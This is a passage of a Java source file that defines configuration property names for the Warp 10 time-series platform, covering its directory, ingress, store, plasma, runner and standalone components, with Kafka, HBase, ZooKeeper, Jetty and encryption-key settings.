public static final String CONFIG_WARPSCRIPT_RUNNER_BOOTSTRAP_PERIOD = "warpscript.runner.bootstrap.period";
/**
* URL for the 'update' endpoint accessed in UPDATE
*/
public static final String CONFIG_WARPSCRIPT_UPDATE_ENDPOINT = "warpscript.update.endpoint";
/**
* URL for the 'meta' endpoint accessed in META
*/
public static final String CONFIG_WARPSCRIPT_META_ENDPOINT = "warpscript.meta.endpoint";
/**
* URL for the 'delete' endpoint accessed in DELETE
*/
public static final String CONFIG_WARPSCRIPT_DELETE_ENDPOINT = "warpscript.delete.endpoint";
/**
* Pre-Shared key for signing fetch requests. Signed fetch request expose owner/producer
*/
public static final String CONFIG_FETCH_PSK = "fetch.psk";
/**
* Comma separated list of Directory related HBase configuration keys to extract from the Warp 10 configuration.
* The listed keys will be extracted from 'directory.' prefixed configuration keys.
*/
public static final String DIRECTORY_HBASE_CONFIG = "directory.hbase.config";
/**
* Maximum number of classes for which to report detailed stats in 'stats'
*/
public static String DIRECTORY_STATS_CLASS_MAXCARDINALITY = "directory.stats.class.maxcardinality";
/**
* Maximum number of labels for which to report detailed stats in 'stats'
*/
public static String DIRECTORY_STATS_LABELS_MAXCARDINALITY = "directory.stats.labels.maxcardinality";
/**
* Maximum size of Thrift frame for directory service
*/
public static String DIRECTORY_FRAME_MAXLEN = "directory.frame.maxlen";
/**
* Maximum number of Metadata to return in find responses
*/
public static String DIRECTORY_FIND_MAXRESULTS = "directory.find.maxresults";
/**
* Hard limit on number of find results. After this limit, the find request will fail.
*/
public static String DIRECTORY_FIND_MAXRESULTS_HARD = "directory.find.maxresults.hard";
/**
* Zookeeper ZK connect string for Kafka ('metadata' topic)
*/
public static final String DIRECTORY_KAFKA_METADATA_ZKCONNECT = "directory.kafka.metadata.zkconnect";
/**
* Actual 'metadata' topic
*/
public static final String DIRECTORY_KAFKA_METADATA_TOPIC = "directory.kafka.metadata.topic";
/**
* Key to use for computing MACs (128 bits in hex or OSS reference)
*/
public static final String DIRECTORY_KAFKA_METADATA_MAC = "directory.kafka.metadata.mac";
/**
* Key to use for encrypting payloads (128/192/256 bits in hex or OSS reference)
*/
public static final String DIRECTORY_KAFKA_METADATA_AES = "directory.kafka.metadata.aes";
/**
* Key to use for encrypting metadata in HBase (128/192/256 bits in hex or OSS reference)
*/
public static final String DIRECTORY_HBASE_METADATA_AES = "directory.hbase.metadata.aes";
/**
* Kafka group id with which to consume the metadata topic
*/
public static final String DIRECTORY_KAFKA_METADATA_GROUPID = "directory.kafka.metadata.groupid";
/**
* Kafka client.id to use for the metadata topic consumer
*/
public static final String DIRECTORY_KAFKA_METADATA_CONSUMER_CLIENTID = "directory.kafka.metadata.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String DIRECTORY_KAFKA_METADATA_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "directory.kafka.metadata.consumer.partition.assignment.strategy";
/**
* Strategy to adopt if consuming for the first time or if the last committed offset is past Kafka history
*/
public static final String DIRECTORY_KAFKA_METADATA_CONSUMER_AUTO_OFFSET_RESET = "directory.kafka.metadata.consumer.auto.offset.reset";
/**
* Delay between synchronization for offset commit
*/
public static final String DIRECTORY_KAFKA_METADATA_COMMITPERIOD = "directory.kafka.metadata.commitperiod";
/**
* Maximum byte size we allow the pending Puts list to grow to
*/
public static final String DIRECTORY_HBASE_METADATA_MAXPENDINGPUTSSIZE = "directory.hbase.metadata.pendingputs.size";
/**
* ZooKeeper Quorum for locating HBase
*/
public static final String DIRECTORY_HBASE_METADATA_ZKCONNECT = "directory.hbase.metadata.zkconnect";
/**
* ZooKeeper port for HBase client
*/
public static final String DIRECTORY_HBASE_ZOOKEEPER_PROPERTY_CLIENTPORT = "directory.hbase.zookeeper.property.clientPort";
/**
* HBase table where metadata should be stored
*/
public static final String DIRECTORY_HBASE_METADATA_TABLE = "directory.hbase.metadata.table";
/**
* Columns family under which metadata should be stored
*/
public static final String DIRECTORY_HBASE_METADATA_COLFAM = "directory.hbase.metadata.colfam";
/**
* Parent znode under which HBase znodes will be created
*/
public static final String DIRECTORY_HBASE_METADATA_ZNODE = "directory.hbase.metadata.znode";
/**
* ZooKeeper server list for registering
*/
public static final String DIRECTORY_ZK_QUORUM = "directory.zk.quorum";
/**
* ZooKeeper znode under which to register
*/
public static final String DIRECTORY_ZK_ZNODE = "directory.zk.znode";
/**
* Number of threads to run for ingesting metadata from Kafka
*/
public static final String DIRECTORY_KAFKA_NTHREADS = "directory.kafka.nthreads";
/**
* Number of threads to run for serving directory requests
*/
public static final String DIRECTORY_SERVICE_NTHREADS = "directory.service.nthreads";
/**
* Partition of metadatas we focus on, format is MODULUS:REMAINDER
*/
public static final String DIRECTORY_PARTITION = "directory.partition";
/**
* Port on which the DirectoryService will listen
*/
public static final String DIRECTORY_PORT = "directory.port";
/**
* Port the streaming directory service listens to
*/
public static final String DIRECTORY_STREAMING_PORT = "directory.streaming.port";
/**
* Should we ignore the proxy settings when doing a streaming request?
*/
public static final String DIRECTORY_STREAMING_NOPROXY = "directory.streaming.noproxy";
/**
* Number of Jetty selectors for the streaming server
*/
public static final String DIRECTORY_STREAMING_SELECTORS = "directory.streaming.selectors";
/**
* Number of Jetty acceptors for the streaming server
*/
public static final String DIRECTORY_STREAMING_ACCEPTORS = "directory.streaming.acceptors";
/**
* Idle timeout for the streaming directory endpoint
*/
public static final String DIRECTORY_STREAMING_IDLE_TIMEOUT = "directory.streaming.idle.timeout";
/**
* Number of threads in Jetty's Thread Pool
*/
public static final String DIRECTORY_STREAMING_THREADPOOL = "directory.streaming.threadpool";
/**
* Maximum size of Jetty ThreadPool queue size (unbounded by default)
*/
public static final String DIRECTORY_STREAMING_MAXQUEUESIZE = "directory.streaming.maxqueuesize";
/**
* Prefix used for setting Jetty attributes
*/
public static final String DIRECTORY_STREAMING_JETTY_ATTRIBUTE_PREFIX = "directory.streaming.jetty.attribute.";
/**
* Address on which the DirectoryService will listen
*/
public static final String DIRECTORY_HOST = "directory.host";
/**
* Pre-Shared Key for request fingerprinting
*/
public static final String DIRECTORY_PSK = "directory.psk";
/**
* Max age of Find requests
*/
public static final String DIRECTORY_MAXAGE = "directory.maxage";
/**
* Number of threads to use for the initial loading of Metadata
*/
public static final String DIRECTORY_INIT_NTHREADS = "directory.init.nthreads";
/**
* Boolean indicating whether or not we should initialized Directory by reading HBase
*/
public static final String DIRECTORY_INIT = "directory.init";
/**
* Boolean indicating whether or not we should store in HBase metadata we get from Kafka
*/
public static final String DIRECTORY_STORE = "directory.store";
/**
* Boolean indicating whether or not we should do deletions in HBase
*/
public static final String DIRECTORY_DELETE = "directory.delete";
/**
* Boolean indicting whether or not we should register in ZK
*/
public static final String DIRECTORY_REGISTER = "directory.register";
/**
* Class name of directory plugin to use
*/
public static final String DIRECTORY_PLUGIN_CLASS = "directory.plugin.class";
/**
* Boolean indicating whether or not we should use the HBase filter when initializing
*/
public static final String DIRECTORY_HBASE_FILTER = "directory.hbase.filter";
/**
* Size of metadata cache in number of entries
*/
public static final String DIRECTORY_METADATA_CACHE_SIZE = "directory.metadata.cache.size";
//
// I N G R E S S
//
/////////////////////////////////////////////////////////////////////////////////////////
/**
* Should we shuffle the GTS prior to issueing delete messages. Set to true or false.
* It is highly recommended to set this to true as it will induce a much lower pressure
* on region servers.
*/
public static final String INGRESS_DELETE_SHUFFLE = "ingress.delete.shuffle";
/**
* If set to 'true' the /delete endpoint will reject all requests. This is useful
* to have ingress endpoints which only honor meta and update.
*/
public static final String INGRESS_DELETE_REJECT = "ingress.delete.reject";
/**
* Path where the metadata cache should be dumped
*/
public static final String INGRESS_CACHE_DUMP_PATH = "ingress.cache.dump.path";
/**
* Maximum value size, make sure it is less than 'max.encoder.size'
*/
public static final String INGRESS_VALUE_MAXSIZE = "ingress.value.maxsize";
/**
* Identification of Ingress as the Metadata source
*/
public static final String INGRESS_METADATA_SOURCE = "ingress";
/**
* Identification of Ingress/Delete as the Metadata source
*/
public static final String INGRESS_METADATA_DELETE_SOURCE = "delete";
/**
* Identification of Ingress Metadata Update endpoint source
*/
public static final String INGRESS_METADATA_UPDATE_ENDPOINT = "ingress.metadata.update";
/**
* Do we send Metadata in the Kafka message for delete operations?
*/
public static final String INGRESS_DELETE_METADATA_INCLUDE = "ingress.delete.metadata.include";
/**
* Host onto which the ingress server should listen
*/
public static final String INGRESS_HOST = "ingress.host";
/**
* Port onto which the ingress server should listen
*/
public static final String INGRESS_PORT = "ingress.port";
/**
* Size of metadata cache in number of entries
*/
public static final String INGRESS_METADATA_CACHE_SIZE = "ingress.metadata.cache.size";
/**
* Number of acceptors
*/
public static final String INGRESS_ACCEPTORS = "ingress.acceptors";
/**
* Number of selectors
*/
public static final String INGRESS_SELECTORS = "ingress.selectors";
/**
* Idle timeout
*/
public static final String INGRESS_IDLE_TIMEOUT = "ingress.idle.timeout";
/**
* Number of threads in Jetty's Thread Pool
*/
public static final String INGRESS_JETTY_THREADPOOL = "ingress.jetty.threadpool";
/**
* Maximum size of Jetty ThreadPool queue size (unbounded by default)
*/
public static final String INGRESS_JETTY_MAXQUEUESIZE = "ingress.jetty.maxqueuesize";
/**
* Max message size for the stream update websockets
*/
public static final String INGRESS_WEBSOCKET_MAXMESSAGESIZE = "ingress.websocket.maxmessagesize";
/**
* ZooKeeper server list
*/
public static final String INGRESS_ZK_QUORUM = "ingress.zk.quorum";
/**
* ZK Connect String for the metadata kafka cluster
*/
public static final String INGRESS_KAFKA_META_ZKCONNECT = "ingress.kafka.metadata.zkconnect";
/**
* Kafka broker list for the 'meta' topic
*/
public static final String INGRESS_KAFKA_META_BROKERLIST = "ingress.kafka.metadata.brokerlist";
/**
* Kafka client id for producing on the 'meta' topic
*/
public static final String INGRESS_KAFKA_META_PRODUCER_CLIENTID = "ingress.kafka.metadata.producer.clientid";
/**
* Actual 'meta' topic
*/
public static final String INGRESS_KAFKA_META_TOPIC = "ingress.kafka.metadata.topic";
/**
* Offset reset strategy.
*/
public static final String INGRESS_KAFKA_META_CONSUMER_AUTO_OFFSET_RESET = "ingress.kafka.metadata.consumer.auto.offset.reset";
/**
* Key to use for computing MACs (128 bits in hex or OSS reference)
*/
public static final String INGRESS_KAFKA_META_MAC = "ingress.kafka.metadata.mac";
/**
* Key to use for encrypting payloads (128/192/256 bits in hex or OSS reference)
*/
public static final String INGRESS_KAFKA_META_AES = "ingress.kafka.metadata.aes";
/**
* Groupid to use for consuming the 'metadata' topic
*/
public static final String INGRESS_KAFKA_META_GROUPID = "ingress.kafka.metadata.groupid";
/**
* Client id to use for consuming the 'metadata' topic
*/
public static final String INGRESS_KAFKA_META_CONSUMER_CLIENTID = "ingress.kafka.metadata.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String INGRESS_KAFKA_META_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "ingress.kafka.metadata.consumer.partition.assignment.strategy";
/**
* How often to commit the offsets for topic 'metadata' (in ms)
*/
public static final String INGRESS_KAFKA_META_COMMITPERIOD = "ingress.kafka.metadata.commitperiod";
/**
* Number of threads to use for consuming the 'metadata' topic
*/
public static final String INGRESS_KAFKA_META_NTHREADS = "ingress.kafka.metadata.nthreads";
/**
* Kafka broker list for the 'data' topic
*/
public static final String INGRESS_KAFKA_DATA_BROKERLIST = "ingress.kafka.data.brokerlist";
/**
* Kafka client id for producing on the 'data' topic
*/
public static final String INGRESS_KAFKA_DATA_PRODUCER_CLIENTID = "ingress.kafka.data.producer.clientid";
/**
* Actual 'data' topic
*/
public static final String INGRESS_KAFKA_DATA_TOPIC = "ingress.kafka.data.topic";
/**
* Size of Kafka Producer pool for the 'data' topic
*/
public static final String INGRESS_KAFKA_DATA_POOLSIZE = "ingress.kafka.data.poolsize";
/**
* Request timeout when talking to Kafka
*/
public static final String INGRESS_KAFKA_DATA_REQUEST_TIMEOUT_MS = "ingress.kafka.data.request.timeout.ms";
/**
* Size of Kafka Producer pool for the 'metadata' topic
*/
public static final String INGRESS_KAFKA_METADATA_POOLSIZE = "ingress.kafka.metadata.poolsize";
/**
* Key to use for computing MACs (128 bits in hex or OSS reference)
*/
public static final String INGRESS_KAFKA_DATA_MAC = "ingress.kafka.data.mac";
/**
* Key to use for encrypting payloads (128/192/256 bits in hex or OSS reference)
*/
public static final String INGRESS_KAFKA_DATA_AES = "ingress.kafka.data.aes";
/**
* Maximum message size for the 'data' topic
*/
public static final String INGRESS_KAFKA_DATA_MAXSIZE = "ingress.kafka.data.maxsize";
/**
* Maximum message size for the 'metadata' topic
*/
public static final String INGRESS_KAFKA_METADATA_MAXSIZE = "ingress.kafka.metadata.maxsize";
/**
* Kafka broker list for the throttling topic
*/
public static final String INGRESS_KAFKA_THROTTLING_BROKERLIST = "ingress.kafka.throttling.brokerlist";
/**
* Optional client id to use when producing messages in the throttling topic
*/
public static final String INGRESS_KAFKA_THROTTLING_PRODUCER_CLIENTID = "ingress.kafka.throttling.producer.clientid";
/**
* Kafka producer timeout for the throttling topic
*/
public static final String INGRESS_KAFKA_THROTTLING_REQUEST_TIMEOUT_MS = "ingress.kafka.throttling.request.timeout.ms";
/**
* Name of the throttling topic
*/
public static final String INGRESS_KAFKA_THROTTLING_TOPIC = "ingress.kafka.throttling.topic";
/**
* ZK connect string for the throttling kafka cluster
*/
public static final String INGRESS_KAFKA_THROTTLING_ZKCONNECT = "ingress.kafka.throttling.zkconnect";
/**
* Client id to use when consuming the throttling topic
*/
public static final String INGRESS_KAFKA_THROTTLING_CONSUMER_CLIENTID = "ingress.kafka.throttling.consumer.clientid";
/**
* Group id to use when consuming the throttling topic
*/
public static final String INGRESS_KAFKA_THROTTLING_GROUPID = "ingress.kafka.throttling.groupid";
/**
* Auto offset strategy to use when consuming the throttling topic. Set to 'largest' unless you want to do
* a special experiment.
*/
public static final String INGRESS_KAFKA_THROTTLING_CONSUMER_AUTO_OFFSET_RESET = "ingress.kafka.throttling.consumer.auto.offset.reset";
//
// S T O R E
//
/////////////////////////////////////////////////////////////////////////////////////////
/**
* Comma separated list of Store related HBase configuration keys to extract from the Warp 10 configuration.
* The listed keys will be extracted from 'store.' prefixed configuration keys.
*/
public static final String STORE_HBASE_CONFIG = "store.hbase.config";
/**
* Path to the throttling file. This file contains a single line with a double value in [0.0,1.0]
*/
public static final String STORE_THROTTLING_FILE = "store.throttling.file";
/**
* How often (in ms) should we read the content of the throttling file
*/
public static final String STORE_THROTTLING_PERIOD = "store.throttling.period";
/**
* How much to wait when the consumption was throttled, in ns (nanoseconds), defaults to 10 ms (milliseconds)
*/
public static final String STORE_THROTTLING_DELAY = "store.throttling.delay";
/**
* Key for encrypting data in HBase
*/
public static final String STORE_HBASE_DATA_AES = "store.hbase.data.aes";
/**
* Zookeeper ZK connect string for Kafka ('data' topic)
*/
public static final String STORE_KAFKA_DATA_ZKCONNECT = "store.kafka.data.zkconnect";
/**
* Kafka broker list for the 'data' topic
*/
public static final String STORE_KAFKA_DATA_BROKERLIST = "store.kafka.data.brokerlist";
/**
* Kafka client.id for producing on the 'data' topic
*/
public static final String STORE_KAFKA_DATA_PRODUCER_CLIENTID = "store.kafka.data.producer.clientid";
/**
* Actual 'data' topic
*/
public static final String STORE_KAFKA_DATA_TOPIC = "store.kafka.data.topic";
/**
* Key to use for computing MACs (128 bits in hex or OSS reference)
*/
public static final String STORE_KAFKA_DATA_MAC = "store.kafka.data.mac";
/**
* Key to use for encrypting payloads (128/192/256 bits in hex or OSS reference)
*/
public static final String STORE_KAFKA_DATA_AES = "store.kafka.data.aes";
/**
* Kafka group id with which to consume the data topic
*/
public static final String STORE_KAFKA_DATA_GROUPID = "store.kafka.data.groupid";
/**
* A prefix prepended to the Kafka ConsumerId
*/
public static final String STORE_KAFKA_DATA_CONSUMERID_PREFIX = "store.kafka.data.consumerid.prefix";
/**
* Client id to use to consume the data topic
*/
public static final String STORE_KAFKA_DATA_CONSUMER_CLIENTID = "store.kafka.data.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String STORE_KAFKA_DATA_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "store.kafka.data.consumer.partition.assignment.strategy";
/**
* Delay between synchronization for offset commit
*/
public static final String STORE_KAFKA_DATA_COMMITPERIOD = "store.kafka.data.commitperiod";
/**
* Maximum time between offset synchronization
*/
public static final String STORE_KAFKA_DATA_INTERCOMMITS_MAXTIME = "store.kafka.data.intercommits.maxtime";
/**
* Maximum size we allow the Puts list to grow to
*/
public static final String STORE_HBASE_DATA_MAXPENDINGPUTSSIZE = "store.hbase.data.maxpendingputssize";
/**
* How many threads to spawn for consuming
*/
public static final String STORE_NTHREADS = "store.nthreads";
/**
* Number of threads for consuming Kafka in each one of the 'store.nthreads' hbase threads. Defaults to 1
*/
public static final String STORE_NTHREADS_KAFKA = "store.nthreads.kafka";
/**
* Number of threads in the pool used to process deletes. One such pool is created for each of 'store.nthreads'. Defaults to
* 0 meaning no pool is used.
*/
public static final String STORE_NTHREADS_DELETE = "store.nthreads.delete";
/**
* ZooKeeper connect string for HBase
*/
public static final String STORE_HBASE_DATA_ZKCONNECT = "store.hbase.data.zkconnect";
/**
* ZooKeeper port for HBase client
*/
public static final String STORE_HBASE_ZOOKEEPER_PROPERTY_CLIENTPORT = "store.hbase.zookeeper.property.clientPort";
/**
* HBase table where data should be stored
*/
public static final String STORE_HBASE_DATA_TABLE = "store.hbase.data.table";
/**
* Columns family under which data should be stored
*/
public static final String STORE_HBASE_DATA_COLFAM = "store.hbase.data.colfam";
/**
* Parent znode under which HBase znodes will be created
*/
public static final String STORE_HBASE_DATA_ZNODE = "store.hbase.data.znode";
/**
* Custom value of 'hbase.hconnection.threads.max' for the Store HBase pool
*/
public static final String STORE_HBASE_HCONNECTION_THREADS_MAX = "store.hbase.hconnection.threads.max";
/**
* Custom value of 'hbase.client.ipc.pool.size' for the Store HBase pool
*/
public static final String STORE_HBASE_CLIENT_IPC_POOL_SIZE = "store.hbase.client.ipc.pool.size";
/**
* Custom value of 'hbase.hconnection.threads.core' for the Store HBase pool (MUST be <= STORE_HBASE_HCONNECTION_THREADS_MAX)
*/
public static final String STORE_HBASE_HCONNECTION_THREADS_CORE = "store.hbase.hconnection.threads.core";
/**
* Custom value of 'hbase.rpc.timeout' (in ms) for Store HBase client, this is especially important to adapt when
* large deletes are possible.
* This value SHOULD be larger than the 'hbase.client.operation.timeout'.
*/
public static final String STORE_HBASE_RPC_TIMEOUT = "store.hbase.rpc.timeout";
/**
* Timeout (in ms) for client operations (bulk delete, region listing, ..) in the Store HBase client. Defaults to 1200000 ms.
*/
public static final String STORE_HBASE_CLIENT_OPERATION_TIMEOUT = "store.hbase.client.operation.timeout";
/**
* Number of times to retry RPCs in the Store HBase client. HBase default is 31.
*/
public static final String STORE_HBASE_CLIENT_RETRIES_NUMBER = "store.hbase.client.retries.number";
/**
* Pause (in ms) between retries for the Store HBase client. HBase default is 100ms
*/
public static final String STORE_HBASE_CLIENT_PAUSE = "store.hbase.client.pause";
//
// P L A S M A
//
/////////////////////////////////////////////////////////////////////////////////////////
/**
* ZooKeeper connect string for Kafka consumer
*/
public static final String PLASMA_FRONTEND_KAFKA_ZKCONNECT = "plasma.frontend.kafka.zkconnect";
/**
* Kafka topic to consume. This topic is dedicated to this Plasma frontend.
*/
public static final String PLASMA_FRONTEND_KAFKA_TOPIC = "plasma.frontend.kafka.topic";
/**
* Kafka groupid under which to consume above topic
*/
public static final String PLASMA_FRONTEND_KAFKA_GROUPID = "plasma.frontend.kafka.groupid";
/**
* Kafka client id under which to consume above topic
*/
public static final String PLASMA_FRONTEND_KAFKA_CONSUMER_CLIENTID = "plasma.frontend.kafka.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String PLASMA_FRONTEND_KAFKA_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "plasma.frontend.kafka.consumer.partition.assignment.strategy";
/**
* How often (in ms) to commit Kafka offsets
*/
public static final String PLASMA_FRONTEND_KAFKA_COMMITPERIOD = "plasma.frontend.kafka.commitperiod";
/**
* Number of threads used for consuming Kafka topic
*/
public static final String PLASMA_FRONTEND_KAFKA_NTHREADS = "plasma.frontend.kafka.nthreads";
/**
* Optional AES key for messages in Kafka
*/
public static final String PLASMA_FRONTEND_KAFKA_AES = "plasma.frontend.kafka.aes";
/**
* ZooKeeper connect String for subscription
*/
public static final String PLASMA_FRONTEND_ZKCONNECT = "plasma.frontend.zkconnect";
/**
* ZooKeeper root znode for subscrptions
*/
public static final String PLASMA_FRONTEND_ZNODE = "plasma.frontend.znode";
/**
* Maximum size of each znode (in bytes)
*/
public static final String PLASMA_FRONTEND_MAXZNODESIZE = "plasma.frontend.maxznodesize";
/**
* Host/IP on which to bind
*/
public static final String PLASMA_FRONTEND_HOST = "plasma.frontend.host";
/**
* Port on which to listen
*/
public static final String PLASMA_FRONTEND_PORT = "plasma.frontend.port";
/**
* Number of acceptors
*/
public static final String PLASMA_FRONTEND_ACCEPTORS = "plasma.frontend.acceptors";
/**
* Number of selectors
*/
public static final String PLASMA_FRONTEND_SELECTORS = "plasma.frontend.selectors";
/**
* Max message size for the Plasma Frontend Websocket
*/
public static final String PLASMA_FRONTEND_WEBSOCKET_MAXMESSAGESIZE = "plasma.frontend.websocket.maxmessagesize";
/**
* Idle timeout
*/
public static final String PLASMA_FRONTEND_IDLE_TIMEOUT = "plasma.frontend.idle.timout";
/**
* SipHash key for computing MACs of Kafka messages
*/
public static final String PLASMA_FRONTEND_KAFKA_MAC = "plasma.frontend.kafka.mac";
public static final String PLASMA_FRONTEND_SUBSCRIBE_DELAY = "plasma.frontend.subscribe.delay";
/**
* Zookeeper ZK connect string for Kafka ('in' topic)
*/
public static final String PLASMA_BACKEND_KAFKA_IN_ZKCONNECT = "plasma.backend.kafka.in.zkconnect";
/**
* Actual 'in' topic
*/
public static final String PLASMA_BACKEND_KAFKA_IN_TOPIC = "plasma.backend.kafka.in.topic";
/**
* Key to use for computing MACs (128 bits in hex or OSS reference)
*/
public static final String PLASMA_BACKEND_KAFKA_IN_MAC = "plasma.backend.kafka.in.mac";
/**
* Key to use for encrypting payloads (128/192/256 bits in hex or OSS reference)
*/
public static final String PLASMA_BACKEND_KAFKA_IN_AES = "plasma.backend.kafka.in.aes";
/**
* Kafka group id with which to consume the in topic
*/
public static final String PLASMA_BACKEND_KAFKA_IN_GROUPID = "plasma.backend.kafka.in.groupid";
/**
* Kafka client id with which to consume the in topic
*/
public static final String PLASMA_BACKEND_KAFKA_IN_CONSUMER_CLIENTID = "plasma.backend.kafka.in.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String PLASMA_BACKEND_KAFKA_IN_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "plasma.backend.kafka.in.consumer.partition.assignment.strategy";
/**
* Delay between synchronization for offset commit
*/
public static final String PLASMA_BACKEND_KAFKA_IN_COMMITPERIOD = "plasma.backend.kafka.in.commitperiod";
/**
* Number of threads to run for reading off of Kafka
*/
public static final String PLASMA_BACKEND_KAFKA_IN_NTHREADS = "plasma.backend.kafka.in.nthreads";
/**
* Kafka broker list for the 'out' topic
*/
public static final String PLASMA_BACKEND_KAFKA_OUT_BROKERLIST = "plasma.backend.kafka.out.brokerlist";
/**
* Kafka client id for producing on the 'out' topic
*/
public static final String PLASMA_BACKEND_KAFKA_OUT_PRODUCER_CLIENTID = "plasma.backend.kafka.out.producer.clientid";
/**
* Maximum size of Kafka outward messages
*/
public static final String PLASMA_BACKEND_KAFKA_OUT_MAXSIZE = "plasma.backend.kafka.out.maxsize";
/**
* Key to use for computing MACs (128 bits in hex or OSS reference)
*/
public static final String PLASMA_BACKEND_KAFKA_OUT_MAC = "plasma.backend.kafka.out.mac";
/**
* Key to use for encrypting payloads (128/192/256 bits in hex or OSS reference)
*/
public static final String PLASMA_BACKEND_KAFKA_OUT_AES = "plasma.backend.kafka.out.aes";
/**
* ZooKeeper Quorum for the ZK ensemble to use for retrieving subscriptions
*/
public static final String PLASMA_BACKEND_SUBSCRIPTIONS_ZKCONNECT = "plasma.backend.subscriptions.zkconnect";
/**
* Parent znode under which subscription znodes will be created
*/
public static final String PLASMA_BACKEND_SUBSCRIPTIONS_ZNODE = "plasma.backend.subscriptions.znode";
//
// R U N N E R
//
/////////////////////////////////////////////////////////////////////////////////////////
/**
* Boolean indicating whether the first run of each script should be at startup (the default behavior) or
* at the next round scheduling period.
*/
public static final String RUNNER_RUNATSTARTUP = "runner.runatstartup";
/**
* ZooKeeper connect string for the leader election among schedulers
*/
public static final String RUNNER_ZK_QUORUM = "runner.zk.quorum";
/**
* Znode to use for the leader election among schedulers
*/
public static final String RUNNER_ZK_ZNODE = "runner.zk.znode";
/**
* String uniquely identifying this instance of ScriptRunner
*/
public static final String RUNNER_ID = "runner.id";
/**
* Roles of the ScriptRunner instance. Can either be 'standalone' or any combination of 'scheduler' and 'worker'.
*/
public static final String RUNNER_ROLES = "runner.roles";
/**
* Root directory under which scripts to run reside. The scripts MUST have a '.mc2' extension
* and reside in subdirectories of this root directory whose name is the periodicity (in ms) at
* which to run them.
*/
public static final String RUNNER_ROOT = "runner.root";
/**
* Number of threads to use for running scripts.
*/
public static final String RUNNER_NTHREADS = "runner.nthreads";
/**
* How often (in ms) to scan RUNNER_ROOT for new scripts
*/
public static final String RUNNER_SCANPERIOD = "runner.scanperiod";
/**
* Einstein endpoint to use for executing the scripts
*/
public static final String RUNNER_ENDPOINT = "runner.endpoint";
/**
* Minimum period at which a script can be scheduled. Any script scheduled
* more often than that won't be run
*/
public static final String RUNNER_MINPERIOD = "runner.minperiod";
/**
* ZooKeeper connect string for the Kafka cluster
*/
public static final String RUNNER_KAFKA_ZKCONNECT = "runner.kafka.zkconnect";
/**
* List of Kafka brokers
*/
public static final String RUNNER_KAFKA_BROKERLIST = "runner.kafka.brokerlist";
/**
* Kafka client id for producing on the runner topic
*/
public static final String RUNNER_KAFKA_PRODUCER_CLIENTID = "runner.kafka.producer.clientid";
/**
* Size of Kafka producer pool
*/
public static final String RUNNER_KAFKA_POOLSIZE = "runner.kafka.poolsize";
/**
* Topic to use to submit the scripts
*/
public static final String RUNNER_KAFKA_TOPIC = "runner.kafka.topic";
/**
* Groupid to use when consuming scripts
*/
public static final String RUNNER_KAFKA_GROUPID = "runner.kafka.groupid";
/**
* Client id to use when consuming scripts
*/
public static final String RUNNER_KAFKA_CONSUMER_CLIENTID = "runner.kafka.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String RUNNER_KAFKA_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "runner.kafka.consumer.partition.assignment.strategy";
/**
* Number of threads to spawn to consume scripts
*/
public static final String RUNNER_KAFKA_NTHREADS = "runner.kafka.nthreads";
/**
* Commit period for the script topic
*/
public static final String RUNNER_KAFKA_COMMITPERIOD = "runner.kafka.commitperiod";
/**
* Key for integrity checks
*/
public static final String RUNNER_KAFKA_MAC = "runner.kafka.mac";
/**
* Key for encryption of scripts on topic
*/
public static final String RUNNER_KAFKA_AES = "runner.kafka.aes";
/**
* PreShared key for identifying scripts executing from runner
*/
public static final String RUNNER_PSK = "runner.psk";
//
// S T A N D A L O N E
//
/////////////////////////////////////////////////////////////////////////////////////////
/**
* Flag to disable the use of the native LevelDB implementation
*/
public static final String LEVELDB_NATIVE_DISABLE = "leveldb.native.disable";
/**
* Flag to disable the use of the pure java LevelDB implementation
*/
public static final String LEVELDB_JAVA_DISABLE = "leveldb.java.disable";
/**
* Directory where the leveldb files should be created
*/
public static final String LEVELDB_HOME = "leveldb.home";
/**
* Maximum number of open files to use for LevelDB
*/
public static final String LEVELDB_MAXOPENFILES = "leveldb.maxopenfiles";
/**
* AES key to use for wrapping metadata prior to storage in leveldb
*/
public static final String LEVELDB_METADATA_AES = "leveldb.metadata.aes";
/**
* AES key to use for wrapping datapoints prior to storage in leveldb
*/
public static final String LEVELDB_DATA_AES = "leveldb.data.aes";
/**
* @deprecated
* AES key to use for storing index details in leveldb
*/
public static final String LEVELDB_INDEX_AES = "leveldb.index.aes";
/**
* Cache size for leveldb (in bytes)
*/
public static final String LEVELDB_CACHE_SIZE = "leveldb.cache.size";
/**
* Compression type to use for leveldb (SNAPPY/NONE)
*/
public static final String LEVELDB_COMPRESSION_TYPE = "leveldb.compression.type";
/**
* Set to true to disable the delete endpoint in the standalone version of Warp 10.
*/
public static final String STANDALONE_DELETE_DISABLE = "standalone.delete.disable";
/**
* Set to true to enable splits generation on the standalone instance. This MUST be set
* to true for Warp10InputFormat to work against a standalone Warp 10 instance.
*/
public static final String STANDALONE_SPLITS_ENABLE = "standalone.splits.enable";
/**
* IP to bind to for listening to incoming connections. Use 0.0.0.0 to listen to all interfaces
*/
public static final String STANDALONE_HOST = "standalone.host";
/**
* Port to bind to for listening to incoming connections.
*/
public static final String STANDALONE_PORT = "standalone.port";
/**
* Number of Jetty acceptors
*/
public static final String STANDALONE_ACCEPTORS = "standalone.acceptors";
/**
* Idle timeout
*/
public static final String STANDALONE_IDLE_TIMEOUT = "standalone.idle.timeout";
/**
* Number of Jetty selectors
*/
public static final String STANDALONE_SELECTORS = "standalone.selectors";
/**
* Maximum encoder size (in bytes) for internal data transfers. Use values from 64k to 512k
*/
public static final String STANDALONE_MAX_ENCODER_SIZE = "standalone.max.encoder.size";
/**
* Maximum size in bytes of a value
*/
public static final String STANDALONE_VALUE_MAXSIZE = "standalone.value.maxsize";
/**
* Path to a file to use for triggering compaction suspension to take snapshots
*/
public static final String STANDALONE_SNAPSHOT_TRIGGER = "standalone.snapshot.trigger";
/**
* Path to a file to use for signaling that compactions are suspended
*/
public static final String STANDALONE_SNAPSHOT_SIGNAL = "standalone.snapshot.signal";
/**
